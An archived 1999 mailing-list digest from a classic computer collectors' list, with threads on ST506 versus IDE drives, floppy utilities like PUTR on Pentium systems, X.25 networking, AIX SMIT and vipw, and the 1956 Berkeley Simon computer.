(#55480705) At $45 so far, it's much cheaper than the computer. 8^) -Miles some sort of cargo ship, looks like From meo at netads.com Sun Jan 10 14:29:23 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:58 2005 Subject: Stupid CP/M question In-Reply-To: <199901101759.AA27532@world.std.com> from "Allison J Parent" at Jan 10, 99 12:59:26 pm Message-ID: <199901102029.OAA30767@wildride.netads.com> Allison J Parent said... | |DOS used to be a generic as well for "disk operating system". Technically, it still is generic. The problem was when the PC (a term that should have stayed generic, but IBM managed to co-opt) was mass marketed, the masses couldn't deal with the fact tat there were two DOS versions available (PC-DOS and MS-DOS), so they just started saying "DOS". The trade press, of course, used DOS generically, but as the trade press moved into the mass market, where people were only looking at the PC stuff (for the most part), where DOS refered to whatever xxDOS was running, and the actual OS was only mentioned when necessary, the masses naturally came to assume DOS meant "the OS running on my IBM PC". Since MS eventually won that war, the masses assumed DOS was short for MS-DOS. SO when I see DOS in a group like this, I generally assume it means "Disk Operating System", unless otherwise specified. The Compucolor, an dthe Apple ][, for instance, both ran a DOS that was tied in with BASIC. Not exactly what's running on your average Intel-compatible-processor-based system today. -Miles Language is schizo. As technologists, we dare not let it slide into meaninglessness and fluid slang with ever-changing meaning. As members of society, who have to deal with those who are not technologists, we sometimes have no choice but to speak the language as they do. From meo at netads.com Sun Jan 10 14:35:02 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:58 2005 Subject: ST506 on a modern system Message-ID: <199901102035.OAA30829@wildride.netads.com> Can modern IBM PC clones easily handle ST506 hard drives? IE, is IDE a superset of this? Or does one have to find an ST506 controller board? Thanks, Miles From yowza at yowza.com Sun Jan 10 14:34:59 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:58 2005 Subject: Stupid CP/M question In-Reply-To: <199901102029.OAA30767@wildride.netads.com> Message-ID: On Sun, 10 Jan 1999, Miles O'Neal wrote: > |DOS used to be a generic as well for "disk operating system". > > Technically, it still is generic. OK, so now that everybody agrees on the meaning of DOS, what's the answer to the original question: When was the first DOS released? The first hard disk was made by IBM around 1956, and I assume it didn't take them much longer to write a DOS for it, but I don't know when they did or what it was called. -- Doug From dastar at ncal.verio.com Sun Jan 10 14:38:29 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:58 2005 Subject: Want _Fire in the Valley_ Message-ID: Anyone know where I can get or have a spare copy of _Fire in the Valley_? Someone was going to send me one a while back but never did. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From ard at p850ug1.demon.co.uk Sun Jan 10 14:11:32 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:58 2005 Subject: X.25? In-Reply-To: <199901101848.KAA03166@daemonweed.reanimators.org> from "Frank McConnell" at Jan 10, 99 10:48:36 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1376 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990110/70c83712/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 10 14:17:21 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:58 2005 Subject: 5.25" Floppies on a P2 system In-Reply-To: from "Zane H. Healy" at Jan 10, 99 11:00:34 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 891 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990110/db77c608/attachment.ksh From jruschme at exit109.com Sun Jan 10 17:17:25 1999 From: jruschme at exit109.com (John Ruschmeyer) Date: Sun Feb 27 18:39:58 2005 Subject: ST506 on a modern system In-Reply-To: <199901102035.OAA30829@wildride.netads.com> from Miles O'Neal at "Jan 10, 99 02:35:02 pm" Message-ID: <199901102317.SAA02601@crobin.home.org> > Can modern IBM PC clones easily handle ST506 hard drives? > IE, is IDE a superset of this? Or does one have to find > an ST506 controller board? You need to find a controller. In modern parlance, it would be referred to as a "16-bit MFM controller". <<>> From ard at p850ug1.demon.co.uk Sun Jan 10 16:56:49 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:58 2005 Subject: ST506 on a modern system In-Reply-To: <199901102035.OAA30829@wildride.netads.com> from "Miles O'Neal" at Jan 10, 99 02:35:02 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1136 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990110/e4576605/attachment.ksh From donm at cts.com Sun Jan 10 18:14:42 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:39:58 2005 Subject: ST506 on a modern system In-Reply-To: <199901102035.OAA30829@wildride.netads.com> Message-ID: On Sun, 10 Jan 1999, Miles O'Neal wrote: > Can modern IBM PC clones easily handle ST506 hard drives? > IE, is IDE a superset of this? Or does one have to find > an ST506 controller board? > > Thanks, > Miles > Yes. No. Yes. - don From ard at p850ug1.demon.co.uk Sun Jan 10 18:14:00 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:58 2005 Subject: 5.25" Floppies on a P2 system In-Reply-To: from "Tony Duell" at Jan 10, 99 08:17:21 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1561 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990111/3a32cfcf/attachment.ksh From donm at cts.com Sun Jan 10 18:26:05 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:39:58 2005 Subject: 5.25" Floppies on a P2 system In-Reply-To: Message-ID: On Sun, 10 Jan 1999, Zane H. Healy wrote: > OK, I realize the subject line looks off topic, but it really isn't since > this deals with handling and archiving classic media. I seem to recall > someone mentioning some of the utilities such as 'putr', 'teledisk', and > various other won't work on a modern PC with a 5.25" floppy drive attached. > Am I remembering correctly? If so does anyone remember which programs are > effected? Zane, I think that you will find that different folks have had different experiences in this regard. It seems to depend upon the speed of the processor, the make/model of the FDC, and the FD drive. I have used TeleDisk with no problems on a 486/33. I cannot comment on putr. Try it and see is probably the best guidance. - don From sinasohn at ricochet.net Sun Jan 10 18:56:10 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:39:58 2005 Subject: Message formats Message-ID: <3.0.16.19990109163657.4b7f38c6@ricochet.net> At 02:47 AM 1/9/99 -0500, you wrote: >> understand your subject well enough. If you need to include formatting >> (such as Word files or data or even code) it can be sent as an attachment > >What code (I assume we mean programming, not encryption) could ever >need formatting aside from appropriate indents? (The progam's >compiler shouldn't even require those). Sorry, I meant *compiled* code, as in executables... You'd think I would have learned by now not to respond to e-mail when I'm exhausted. (Of course, that would mean never responding... If life ain't interesting, it probably ain't worth living.) --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Sun Jan 10 18:56:26 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:39:58 2005 Subject: Y2K stuff Message-ID: <3.0.16.19990110123804.60079da6@ricochet.net> At 12:53 PM 1/9/99 +1030, you wrote: >Are they polymer rather than paper like all ours are now? Still paper, but with a few more security features. >To save money, the govt withdrew all coins below 5c, we now have $1 & $2 >coins, The US could have hundreds of millions of dollars by doing that (at least $1 coins) but it has been demonstrated around the world that the only way to do that *successfully* is to pull the bills out of circulation immediately as the coins are released. Our "Susie B" dollar was a failed attempt -- becuase the bill was not pulled. People claim silly things like it was too close in size to the quarter (BS - try it sometime) or it was too heavy. --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From healyzh at aracnet.com Sun Jan 10 19:15:37 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:39:58 2005 Subject: 5.25" Floppies on a P2 system In-Reply-To: References: Message-ID: >Zane, I think that you will find that different folks have had different >experiences in this regard. It seems to depend upon the speed of the >processor, the make/model of the FDC, and the FD drive. I have used >TeleDisk with no problems on a 486/33. I cannot comment on putr. > >Try it and see is probably the best guidance. I got smart and did a few DejaNews searches after asking the question this morning. It looks like most people have problems trying to do this on anything faster than a 486/33 (which is what I'm currently using). My problem is when I bought that system back in '91 I bought it to be expandable, so it's in a _FULL_ size tower case, and I'm looking to free up some space. Looks like that one stays though. Actaully I don't know that 'putr' has a problem with the higher speeds, but apparently 'teledisk', 'anadisk', and '22disk' all have problems with systems faster than a 486/33. Does anyone run 'putr' on a Pentium or Pentium II? It's the utility I'm the most interested in being able to run. I've tried running it in DOSemu under Linux and that doens't seem to work. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From H.Davies at latrobe.edu.au Sun Jan 10 19:19:57 1999 From: H.Davies at latrobe.edu.au (Huw Davies) Date: Sun Feb 27 18:39:58 2005 Subject: new to the list In-Reply-To: <199901090752.XAA19987@saul6.u.washington.edu> References: <199901090743.BAA23721@wildride.netads.com> Message-ID: <4.1.19990111121641.00bc5db0@lucifer.its.latrobe.edu.au> At 11:52 PM 08-01-99 -0800, D. Peschel wrote: >What _I_ want to know is the relationship between OSF/1, a.k.a. Digital >UNIX, and AIX. The manual entry for stanza(4) on our DEC system is the same >as OSF/1 1.0, and it's SO badly written that only IBM could have done it. >Plus stanzas are an IBM-ism anyway. I bet the entry is pretty much the same >on AIX systems, too. (I just checked and our AIX doesn't have it. So I >don't know -- it's just a guess.) Originally IBM, HP and Digital (and others?) funded the development of a new implementation of Unix (to be known as OSF/1) to stave off the Mongol warriors (err, Sun :-). Politics took hold and HP and then IBM pulled out of OSF (Open Software Foundation) leaving Digital with a shiny new operating system (later renamed Digital Unix and now Tru64 or some such abomination). Each of the three vendors developed solutions to various parts of the operating system (IBM did the filesystem) and the "best of" ended up in OSF/1 - no wonder this project was doomed. Hence there are similarities between some bits in AIX and OSF/1. Huw Davies | e-mail: Huw.Davies@latrobe.edu.au Information Technology Services | Phone: +61 3 9479 1550 Fax: +61 3 9479 1999 La Trobe University | "If God had wanted soccer played in the Melbourne Australia 3083 | air, the sky would be painted green" From H.Davies at latrobe.edu.au Sun Jan 10 19:23:49 1999 From: H.Davies at latrobe.edu.au (Huw Davies) Date: Sun Feb 27 18:39:58 2005 Subject: new to the list In-Reply-To: <01be3ba7$ea1d0460$f17d38cb@netcafe.pirie.mtx.net.au> Message-ID: <4.1.19990111122113.00ac6be0@lucifer.its.latrobe.edu.au> At 06:43 PM 09-01-99 +1030, Computer Room Internet Cafe wrote: >Ok, as a (currently) AIX deprived person, might I ask WTH is SMIT please? SMIT = System Management Integration Tool Basically a menu based system to do Unix sysadmin type things without editing the usual Unix files. First major problem for any new AIX sysadmin who had Unix experience - DO NOT EDIT THE FILES - you _must_ use SMIT. If you edit the files things work until the next reboot when most configuration files get recreated out of the ODM (Object Data something mumble). I'm sure if you moved from a mainframe world to AIX you'd find SMIT useful, I just found it a hindrance to getting things done - you had to turn off your Unix brain to manage AIX. Huw Davies | e-mail: Huw.Davies@latrobe.edu.au Information Technology Services | Phone: +61 3 9479 1550 Fax: +61 3 9479 1999 La Trobe University | "If God had wanted soccer played in the Melbourne Australia 3083 | air, the sky would be painted green" From cmcmanis at mcmanis.com Sun Jan 10 19:53:04 1999 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:39:58 2005 Subject: Ohio Scientific box Message-ID: <4.1.19990110170326.009f49b0@208.226.86.10> http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=55598937 On Ebay. Not one of the "interesting" ones but rare none-the-less. --Chuck From jhfine at idirect.com Sun Jan 10 20:25:53 1999 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:39:58 2005 Subject: 5.25" Floppies on a P2 system References: Message-ID: <36996131.189CBA46@idirect.com> >Zane H. Healy wrote: > Actaully I don't know that 'putr' has a problem with the higher speeds, but > apparently 'teledisk', 'anadisk', and '22disk' all have problems with > systems faster than a 486/33. > > Does anyone run 'putr' on a Pentium or Pentium II? It's the utility I'm > the most interested in being able to run. I've tried running it in DOSemu > under Linux and that doens't seem to work. Jerome Fine replies: The ONLY PUTR that I am aware of is from John Wilson, the fellow who also wrote an emulator for the PDP-11 called Eratz-11 or E11 for short. BOTH work VERY well. I have had a PC with a Pentium 166 MMX available to me for the past year whenever I need to use PUTR to transfer files from either an RX50 (5 1/4" floppy - DSDD media required), an RX33 (5 1/4" floppy with HD PC floppy media) and an RX23 (3 1/2" HD floppy media). Obviously the first 2 media require a 5 1/4" floppy drive on a PC which is the HD 1.2 MByte version on the PC. The third media requires a PC 3 1/2" 1.44 MByte floppy drive on a PC. Does this answer address the question? Sincerely yours, Jerome Fine RT-11/TSX-PLUS User/Addict From brian at sigh.mse.jhu.edu Sun Jan 10 20:33:15 1999 From: brian at sigh.mse.jhu.edu (Brian Harrington) Date: Sun Feb 27 18:39:58 2005 Subject: 5.25" Floppies on a P2 system In-Reply-To: Message-ID: On Sun, 10 Jan 1999, Zane H. Healy wrote: > Does anyone run 'putr' on a Pentium or Pentium II? It's the utility I'm > the most interested in being able to run. I've tried running it in DOSemu > under Linux and that doens't seem to work. I haven't done a whole lot with it, but it seems to run ok on under DOS on my PPro 200. It doesn't work properly under NT, but that's no real surprise. -- Brian -- Brian Harrington Digital Knowledge Center Johns Hopkins University brian@sigh.mse.jhu.edu From spc at armigeron.com Sun Jan 10 20:36:00 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:39:58 2005 Subject: new to the list In-Reply-To: <4.1.19990111122113.00ac6be0@lucifer.its.latrobe.edu.au> from "Huw Davies" at Jan 11, 99 12:23:49 pm Message-ID: <199901110237.VAA10104@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 1671 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990110/be357b9c/attachment.ksh From spc at armigeron.com Sun Jan 10 20:37:14 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:39:58 2005 Subject: Digital handbooks available In-Reply-To: <199901100630.AAA28608@wildride.netads.com> from "Miles O'Neal" at Jan 10, 99 00:30:23 am Message-ID: <199901110238.VAA10117@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 372 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990110/0beb9ed8/attachment.ksh From marvin at rain.org Sun Jan 10 20:50:52 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:39:58 2005 Subject: Ohio Scientific box References: <4.1.19990110170326.009f49b0@208.226.86.10> Message-ID: <3699670C.FA5439E4@rain.org> Chuck McManis wrote: > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=55598937 > > On Ebay. Not one of the "interesting" ones but rare none-the-less. Also interesting is that it is located in Minnesota, and California residents pay the 7 3/4% sales tax! From jhfine at idirect.com Sun Jan 10 20:54:45 1999 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:39:58 2005 Subject: ST506 on a modern system References: Message-ID: <369967F5.83C9A762@idirect.com> >Tony Duell wrote: > > Can modern IBM PC clones easily handle ST506 hard drives? > Yes > > IE, is IDE a superset of this? Or does one have to find > > an ST506 controller board? > And Yes. > > ST506 and IDE are totally different interfaces. The first main difference > is that ST506 is a 'raw' interface - what you get at the connector is the > raw data stream off the disk, while IDE is a 'formatted' interface - you > get nice bytes/words from the sector you want. > > But the IDE interface registers look _exactly_ like the registers on a > particular Western Digital controller - the one used on the original AT. > So a modern system should be able to use that controller to talk to an > ST506 drive. It should boot fine and it should work fine. Jerome Fine replies: I realize this may be a very dumb question, BUT if I have an ST506 Qbus controller (either DEC RQDX1,2,3 OR 3rd party compatible like Dilog or Emulex), would it be possible to change the 34/20 pin cables (NOTE: On the Emulex DM01, there is already ONLY a SINGLE 50 pin cable which is split 34/8/8) and connect those cables in some manner to an IDE drive? You seem to imply (I am probably very wrong) that a IDE drive might be connected to the same interface which would also accept an ST506 drive on the Western Digital controller. Just thought I would ask? Sometime a very dumb question has a better result than we even might hope for. Sometime about 6 months back, someone mentioned doing a Qbus interface for the IDE drives, but that it would likely have to wait until the copyright by DEC on the MSCP interface expires in about 2 years since the $ US 100 license fee would be prohibitive. Sincerely yours, Jerome Fine RT-11/TSX-PLUS User/Addict From H.Davies at latrobe.edu.au Sun Jan 10 21:09:58 1999 From: H.Davies at latrobe.edu.au (Huw Davies) Date: Sun Feb 27 18:39:58 2005 Subject: X.25? In-Reply-To: References: <199901101848.KAA03166@daemonweed.reanimators.org> Message-ID: <4.1.19990111140640.00bc3cc0@lucifer.its.latrobe.edu.au> At 08:11 PM 10-01-99 +0000, Tony Duell wrote: >> This might be of use to you if you had a need for computer/computer or >> computer/terminal communication between distant locations. Host >> computers (minicomputers and larger) often had X.25 network interfaces > >You could convince some DEC cards (DUP11?) to output X25 packets, I >think. A number of UK networks, including JANET (Joint Academic NETwork) >used X25 at one time. We used to have a number of MicroVAX-IIs with KMV-11s in to connect to the Australian Telecom X.25 network known as AUSTPAC. There was quite a bit of support in VMS to allow almost transparent delivery of e-mail from X.25 connected systems. From a rusty memory (this is 15 years ago) the e-mail address was some thing like To: PSI%23000560::CCHD where 23000560 was the X.25 address (phone number) for the remote system and CCHD was the remote username. This type of networking died out in Australia due to high costs of line rental and traffic costs, although some would argue that the situation is still the same. Huw Davies | e-mail: Huw.Davies@latrobe.edu.au Information Technology Services | Phone: +61 3 9479 1550 Fax: +61 3 9479 1999 La Trobe University | "If God had wanted soccer played in the Melbourne Australia 3083 | air, the sky would be painted green" From healyzh at aracnet.com Sun Jan 10 21:45:40 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:39:58 2005 Subject: 5.25" Floppies on a P2 system In-Reply-To: <36996131.189CBA46@idirect.com> References: Message-ID: >I have had a PC with a Pentium 166 MMX available to me for the past >year whenever I need to use PUTR to transfer files from either an > >Does this answer address the question? Yep, that answers the key question. Sounds like it's time to set up one of my newer systems to run 'putr'. Thanks, that will let me free up a lot of space. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From yowza at yowza.com Sun Jan 10 22:57:47 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:58 2005 Subject: Berkeley Enterprises 1956 Report In-Reply-To: Message-ID: OK, next time somebody tells you that the Altair was the first personal or home computer, give them this URL: http://www.yowza.com/classiccmp/berkeley/report.html This page is the result of about two hours of post-processing output from Xerox TextBridge Pro 98. The program has a few bugs related to HTML conversion, but it does the best job I've seen so far. Here's the unretouched output: http://www.yowza.com/classiccmp/berkeley/pre1.htm -- Doug From jpero at cgocable.net Mon Jan 11 00:11:26 1999 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:39:58 2005 Subject: NorthStar Horizon incoming In-Reply-To: <3.0.5.32.19990110101726.00941e10@mail.bluefeathertech.com> References: <199901101759.AA27433@world.std.com> Message-ID: <199901110610.BAA11800@mail.cgocable.net> From: Bruce Lane To: "Discussion re-collecting of classic computers" Subject: Re: NorthStar Horizon incoming > At 12:59 10-01-1999 -0500, you wrote: > > >Bruce, > > > >FOLD THE LINES! MY screen is not 200 chars wide and I really > hate > >horozontal scrolling! > > Arrgh... > > You are one of TWO people, out of my entire correspondence > base, > that have even had problems. > > I have checked, re-checked, and re-re-checked Eudora Pro's > settings, and I CANNOT FIND ANY PROBLEM! Your settings is working. There's some settings that will make it one string of characters. I get that from time to time on pegasus mail and free agent. Oh, add me to make third person to have this problem. :-) ) From lwalker at mail.interlog.com Sun Jan 10 17:15:25 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:39:58 2005 Subject: MfM and Dll Message-ID: <199901110624.BAA04751@smtp.interlog.com> I picked up an HDD made for the Atari ST by ICD. It is a shoebox form and has space and connectors for 2 HDs. The highly proprietory HD interface by Atari (ATASCI ?) is usually directly converted to SCSI in most newer HD adapter interfaces for STs. In the Atari and ICD HDs the DMA output was converted to SCSI by an ICD card and then to MFM or DLL. via an Adaptec 4004 (MFM) or 4070(RLL) controller. This one has an Adaptec 4070. The 1 drive present is a Miniscribe 3834P . I understand that some MFM drives could be coded by a RLL controller if they were fast enough, etc. I have an ST4096, which according to the specs I have seen is an 80 meg MFM , as well as several other smaller MFM HDs. According to a spec sheet the 4096 would work with Perstor Systems ADRT controllers to double the storage which would seem to indicate it was of high enough speed and quality to stand the tighter coding.. Anyone know if this is also true with an RLL controller or what MFM drives do work with RLL ? ciao larry lwalker@interlog.com From donm at cts.com Mon Jan 11 00:39:43 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:39:58 2005 Subject: MfM and Dll In-Reply-To: <199901110624.BAA04751@smtp.interlog.com> Message-ID: On Sun, 10 Jan 1999, Lawrence Walker wrote: > I picked up an HDD made for the Atari ST by ICD. It is a shoebox form and > has space and connectors for 2 HDs. The highly proprietory HD interface by > Atari (ATASCI ?) is usually directly converted to SCSI in most newer HD adapter > interfaces for STs. > In the Atari and ICD HDs the DMA output was converted to SCSI by an ICD card > and then to MFM or DLL. via an Adaptec 4004 (MFM) or 4070(RLL) controller. > This one has an Adaptec 4070. The 1 drive present is a Miniscribe 3834P . > I understand that some MFM drives could be coded by a RLL controller if > they were fast enough, etc. I have an ST4096, which according to the specs I > have seen is an 80 meg MFM , as well as several other smaller MFM HDs. > According to a spec sheet the 4096 would work with Perstor Systems ADRT > controllers to double the storage which would seem to indicate it was of high > enough speed and quality to stand the tighter coding.. Anyone know if this is > also true with an RLL controller or what MFM drives do work with RLL ? > > ciao larry > lwalker@interlog.com Larry, I have had good luck with any Maxtor MFM, a number of NEC 5126 drives, and even the odd ST225. In my experience, if it will accept the low level format, it will probably work OK. - don From gregorym at cadvision.com Sun Jan 10 23:59:59 1999 From: gregorym at cadvision.com (Mark Gregory) Date: Sun Feb 27 18:39:58 2005 Subject: Berkeley Enterprises 1956 Report Message-ID: <3.0.32.19990110225957.00692284@cadvision.com> At 10:57 PM 1/10/99 -0600, you wrote: >OK, next time somebody tells you that the Altair was the first personal or >home computer, give them this URL: > http://www.yowza.com/classiccmp/berkeley/report.html > > > >-- Doug > Very interesting document, Doug, and fun to read. But I think that in 1956, a $4000 computer (Simon) could hardly be considered a home or personal computer. Wouldn't that have been more than most people's annual salary? I think on the price/performance scale, the Altair is the winner and still champion; it's price was probably in reach of more hobbyists. Cheers, Mark. From dpeschel at u.washington.edu Mon Jan 11 00:56:38 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:39:58 2005 Subject: Y2K stuff In-Reply-To: <3.0.16.19990110123804.60079da6@ricochet.net> from "Uncle Roger" at Jan 10, 99 06:56:26 pm Message-ID: <199901110656.WAA06220@saul4.u.washington.edu> > At 12:53 PM 1/9/99 +1030, you wrote: > The US could have hundreds of millions of dollars by doing that (at least > $1 coins) but it has been demonstrated around the world that the only way > to do that *successfully* is to pull the bills out of circulation > immediately as the coins are released. > > Our "Susie B" dollar was a failed attempt -- becuase the bill was not > pulled. People claim silly things like it was too close in size to the > quarter (BS - try it sometime) or it was too heavy. This is really getting off-topic. But... I heard a debate on NPR between a coin advocate and a bill advocate. I think they both had vested interests (i.e., the bill advocate works for a company that makes bill acceptors). It was a ridiculous argument -- you could tell that each man had an axe to grind. And on another subject, have you had any luck rounding up a Grid floppy cable or the laptop you were going to look for? In a pinch, I could bring the Grid in my closet to class (if I had a way to put software on the hard drive, that is). I'm still interested in a plasma display, however. -- Derek From jolminkh at nsw.bigpond.net.au Mon Jan 11 00:57:55 1999 From: jolminkh at nsw.bigpond.net.au (Olminkhof) Date: Sun Feb 27 18:39:58 2005 Subject: ST506 on a modern system Message-ID: <002501be3d2f$b7b80400$2a3dc018@tp.c2.telstra-mm.net.au> >Jerome Fine replies: > >I realize this may be a very dumb question, BUT if I have an ST506 >Qbus controller (either DEC RQDX1,2,3 OR 3rd party compatible >like Dilog or Emulex), would it be possible to change the 34/20 pin >cables (NOTE: On the Emulex DM01, there is already ONLY a >SINGLE 50 pin cable which is split 34/8/8) and connect those >cables in some manner to an IDE drive? Thats a dumb question. The situation is that an IDE drive has it's controller on board the drive and it is proprietary. The purpose of the IDE "controller" card is only to provide a standard interface. Hans From yowza at yowza.com Mon Jan 11 01:00:52 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:58 2005 Subject: Berkeley Enterprises 1956 Report In-Reply-To: <3.0.32.19990110225957.00692284@cadvision.com> Message-ID: On Sun, 10 Jan 1999, Mark Gregory wrote: > Very interesting document, Doug, and fun to read. But I think that in 1956, > a $4000 computer (Simon) could hardly be considered a home or personal > computer. Wouldn't that have been more than most people's annual salary? > I think on the price/performance scale, the Altair is the winner and still > champion; it's price was probably in reach of more hobbyists. $4000 was Berkeley's development cost. I've read that the plans for Simon were published and that the estimated cost of parts was around $300. I still haven't found those plans, however. If you wanted a lower cost (and lower performance) personal computer, you simply need to read a little further down the list about the Geniac ($17.95) and Tyniac ($9.95) kits. Simon is the first personal computer I'm aware of, but it's certainly not the only pre-Altair personal computer. Slowly but surely, I'll put up web pages for about a dozen others from the 1950's, 1960's and 1970's. -- Doug From yowza at yowza.com Mon Jan 11 01:29:18 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:58 2005 Subject: Berkeley Enterprises 1956 Report In-Reply-To: Message-ID: Here's a memo from Berkeley to his "employees" about six months after the report I posted earlier: http://www.yowza.com/classiccmp/berkeley/memo.html ("Employees" are in quotes, because this work was done mostly by *very* smart high school kids.) Note the plans for Simplac, a transistorized computer, and plans to interface Magdum, the magnetic storage drum, to Simon. I have the plans for Magdum, and it's about 30 pages of hand-drawn schematics. Does anybody know of a way to convert a raster scan of this kind of stuff to some sort of vectorized format (maybe EPS)? -- Doug From ds_spenc at alcor.concordia.ca Mon Jan 11 01:50:13 1999 From: ds_spenc at alcor.concordia.ca (Doug Spence) Date: Sun Feb 27 18:39:58 2005 Subject: y2k stuff In-Reply-To: <15fd3ddf.3692076b@aol.com> Message-ID: On Tue, 5 Jan 1999 KFergason@aol.com wrote: > I would think its possible for a big solar flare to at least affect an > old TRS80. unlikely, though. A big solar flare affected my Amiga 1000 and Microcom ][+ in 1989. How? The province's entire power grid went kablooie, and we were blacked out for a few days. :) > kelly -- Doug Spence ds_spenc@alcor.concordia.ca http://alcor.concordia.ca/~ds_spenc/ From pechter at monmouth.com Mon Jan 11 05:40:29 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:39:58 2005 Subject: new to the list In-Reply-To: <4.1.19990111122113.00ac6be0@lucifer.its.latrobe.edu.au> from Huw Davies at "Jan 11, 99 12:23:49 pm" Message-ID: <199901111140.GAA14753@pechter.ddns.org> > At 06:43 PM 09-01-99 +1030, Computer Room Internet Cafe wrote: > > >Ok, as a (currently) AIX deprived person, might I ask WTH is SMIT please? > > SMIT = System Management Integration Tool > > Basically a menu based system to do Unix sysadmin type things without > editing the usual Unix files. First major problem for any new AIX sysadmin > who had Unix experience - DO NOT EDIT THE FILES - you _must_ use SMIT. If > you edit the files things work until the next reboot when most > configuration files get recreated out of the ODM (Object Data something > mumble). Most of the commands from smit are callable by script. You can actually: 1. edit the files manually and update the ODM database by command 2. configure AIX v3.x to use only the files and not the ODM. --Bill " ... Overall we've found FreeBSD to excel in performace, stability, technical support, and of course price. Two years after discovering FreeBSD, we have yet to find a reason why we switch to anything else" -David Filo, Yahoo! From pechter at monmouth.com Mon Jan 11 05:36:43 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:39:58 2005 Subject: new to the list In-Reply-To: <199901110237.VAA10104@armigeron.com> from Sean 'Captain Napalm' Conner at "Jan 10, 99 09:36:00 pm" Message-ID: <199901111136.GAA14686@pechter.ddns.org> > It was thus said that the Great Huw Davies once stated: > > > > At 06:43 PM 09-01-99 +1030, Computer Room Internet Cafe wrote: > > > > >Ok, as a (currently) AIX deprived person, might I ask WTH is SMIT please? > > > > SMIT = System Management Integration Tool > > > > Basically a menu based system to do Unix sysadmin type things without > > editing the usual Unix files. > > The only Unix-like system around anymore that allows you to hand edit all > the files is Linux. BSD? Forget editing the password file directly---you > have to use some abomination called `vipw' for that. I'm not sure if there > are any other files with special editing commands; I dropped BSD (and BSD > derived systems) ASAP (can't stand BSD). HP-UX also required special > commands to edit files (although it has SAM, similar to SMIT). There's some misinformation on admin here. vipw an abomination. Nah. It just locks the password file so no one else can change it while you do the edit and pulls the password file info and shadow info from the password hashed database (for faster access) into the flat text file you can edit. vipw also will use whatever your editor variable is, not just vi. Boy... that's nothing new. vipw's been around for over 10 years now and it existed in many SysV varients as well as Berkeley Unix systems. With straight flat password files, two sysadmins can both make changes at the same time and the last one to write the file is the person who's changes take effect. Not too predictable on a large site. I like the SysV init and multiple runstates and the SVR4 rc.d style rc scripts -- most of the rest is an overly complex kludge with too much old code still in place. SysV still would have 14 character file limits and the lousy S5fs if it wasn't for BSD. You can see what I'm running here... uname -a FreeBSD 